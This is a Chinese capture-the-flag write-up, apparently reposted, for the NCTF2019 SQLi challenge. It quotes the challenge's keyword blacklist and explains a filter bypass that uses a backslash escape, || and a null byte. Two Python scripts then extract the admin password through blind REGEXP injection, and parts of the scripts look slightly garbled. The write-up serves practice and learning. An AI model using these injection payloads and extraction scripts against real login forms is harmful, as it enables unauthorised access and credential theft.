概述
进去明摆着叫我们注入获得用户名或密码,先不急看看还有没有一些信息,扫后台可以发现robots.txt文件,里面暗示我们去hint.txt看一下
可以发现我们只需要获取admin的密码即可,账号任意
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|'|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
因为我本来sql这方面就差劲,看见过滤了我常用的方法啥的我就直接看wp学习了
这里考到regexp正则注入REGEXP注入与LIKE注入学习笔记_Qwzf的博客-CSDN博客_regexp注入
就比如密码是admin,我们利用regexp "^a"来判断是否a开头,如果是继续遍历regexp "^ad"……以达到获得信息的效果
select * from users where username='' and passwd=''
这是他提示我们的注入语句,想办法能够自己控制语句,我们可以通过来将第二个引号转义成字符串,形成username=''and passwd=''红色字体变成username的值,因此我将有过滤的passwd给清除掉了,因为过滤了or,我们用||来代替,最后一个引号要用注释符#,因为也被过滤了因此要用%00,我们来验证一下
可以看到我们成功实现了自己语句控制绕过了过滤,因此我们利用脚本
#coding:utf-8
import requests
import time
import string
url = "http://fce2fdae-f628-4e9d-ba1b-8508a2dff0c6.node3.buuoj.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
payload = ''
for n in range(100):
print(n)
for i in str_list:
data = {'username':'\', 'passwd':'||passwd/**/regexp/**/"^{}";x00'.format(payload+i)}
res = requests.post(url = url, data = data)
if 'welcome.php' in res.text:
payload += i
print(payload)
break
elif res.status_code == 429:
time.sleep(1)
这是普遍网上的脚本,因为不懂string这个模块,我便自己改了一下便于理解的
#coding:utf-8
import requests
import time
url = "http://99b65a0e-e848-4d0b-a029-b03383cc9784.node4.buuoj.cn:81/"
str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@!#%^&,.';()_1234567890"
payload = ''
for i in range(1,1000):
for m in str:
data = {'username':'\', 'passwd':'||passwd/**/regexp/**/"^{}";x00'.format(payload+m)}
res = requests.post(url = url, data = data)
if 'welcome.php' in res.text:
payload += m
print(payload)
break
elif res.status_code == 429:
time.sleep(1)
但其实还是要学习官方的脚本,因为我这个自己输入字符的脚本一开始是ascii可见字符直接遍历的,但是因为是正则表达式注入,遇到
就会重复出现多个匹配,很脑疼,因此我是一边跑脚本一边删的。但是最后依然有一个bug,不知道为什么他有时候跑出来的密码有大写字母,这个我很不理解,既然密码都是小写,我为什么匹配的时候会匹配出大写字母
满脑子问号????
这里发一下学习那模块的链接
Python字符串| ascii_lowercase - 芒果文档 所有小写字母
Python字符串| ascii_uppercase - 芒果文档 所有大写字母
Python字符串| digits - 芒果文档 数字
最后
以上就是柔弱橘子为你收集整理的[NCTF2019]SQLi regexp正则注入的全部内容,希望文章能够帮你解决[NCTF2019]SQLi regexp正则注入所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复